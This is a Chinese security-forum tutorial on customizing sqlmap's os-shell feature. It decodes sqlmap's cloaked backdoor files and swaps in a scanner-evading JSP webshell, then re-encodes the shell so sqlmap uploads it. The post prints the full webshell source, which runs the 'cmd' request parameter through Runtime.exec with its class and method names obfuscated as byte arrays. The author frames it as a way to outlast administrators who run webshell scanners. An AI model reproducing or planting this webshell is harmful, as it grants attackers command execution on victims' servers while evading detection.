安全矩阵

 找回密码
 立即注册
搜索
查看: 6965|回复: 0

Sqlmap实现os-shell自定义shell,免杀打穿一把梭

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-12-5 08:53:30 | 显示全部楼层 |阅读模式
本帖最后由 gclome 于 2020-12-5 09:05 编辑

Sqlmap实现os-shell自定义shell,免杀打穿一把梭


起因
今天在公司划水时,无意间看到了一篇关于sqlmap os-shell功能的刨析文章。该文章详细描述了os-shell的具体流程,但是该作者最后在实现自定义shell时翻车了…

于是就有了这篇文章
就像该作者所说,这种确实有点多此一举。但是也不是没有用武之地,如果对方网络管理员发现了异常的流量可能会临时上传查杀工具对网站进行木马的查杀,这时植入一个免杀的shell可能会为我们渗透赢得宝贵的时间

实现

虽然sqlmap所使用的shell是以二进制形式存放,但是在我们使用os-shell时必定会进行解密操作,sqlmap首先会加载二进制形式的shell以某种方式进行解码后再进行文件的写入。
sqlmap自带的shell存放于\data\shell\backdoors\

首先我们可以sqlmap目录中搜索操作backdoor.***_的文件

其中有关于解码的相关操作位于\lib\core\common.py

可以看到decloakToTemp接收一个filenam参数并调用decloak函数进行解码,根据返回变量字面意思,猜测返回的为该文件解码后的内容,并且在函数说明部分给出了详细的调用方式。
根据引入声明发现decloack来自于extra.cloak.cloak包

在\extra\cloak\cloak.py中,找到了具体的加解密函数

解密流程大致为:使用定义的KEY调用xor函数进行异或随后使用zlib.decompress进行解码
其中的mian函数还给出了具体的使用方法(真贴心~)

有了解密文件我们根据参数格式传入相应的参数
[td]
参数名注释
-i输入文件
-o输出文件
-d解密操作[不加此参数则为加密]
这里我以jsp的为例,其他格式的流程一样

运行完后以后打开backdoor.jsp就可以看到源码了
原始格式

解码后

通过源码发现就是一个cmd马,那么下面我们就可以将其中具体执行cmd命令的代码替换为我们的免杀的代码或者其他的功能,这里我使用一个反射的cmd马进行替换
  1. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
  2. <%@ page import="java.io.InputStream" %>
  3. <%@ page import="java.lang.reflect.Method" %>
  4. <%@ page import="java.util.Scanner" %>

  5. <%
  6. out.print("<pre>");
  7.     if(request.getParameter("cmd") != null){
  8.     String str = request.getParameter("cmd");
  9.     String rt = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101});
  10.     Class<?> c = Class.forName(rt);
  11.     Method m1 = c.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101}));
  12.     Method m2 = c.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class);


  13.     Object obj2 = m2.invoke(m1.invoke(null, new Object[]{}), new Object[]{str});

  14.     Method m = obj2.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109}));
  15.     m.setAccessible(true);

  16.     Scanner s = new Scanner((InputStream) m.invoke(obj2, new Object[]{})).useDelimiter("\\A");
  17.     String result = s.hasNext() ? s.next() : "";
  18.     out.println(result);
  19.     }
  20. out.print("</pre>");
  21. %>
复制代码

注意:要想在sqlmap中正常使用os-shell功能,替换的shell接收参数必须和原先的一致
替换完成后同样使用decloak脚本对源码文件加密



生成backdoor_diy.jsp_加密文件后,将其拷贝到sqlmap的shell目录中 (注意将文件名改为backdoor.jsp_)
最后我们本地起一个java的注入环境进行测试

使用os-shell进行测试

功能正常,确认上传的tmpbqlnx.jsp为我们修改后的shell

木得问题,最后拖入D盾测试一下

源代码稍后公布在github  
参考sqlmap os-shell探索



















回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-20 16:34 , Processed in 0.014543 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表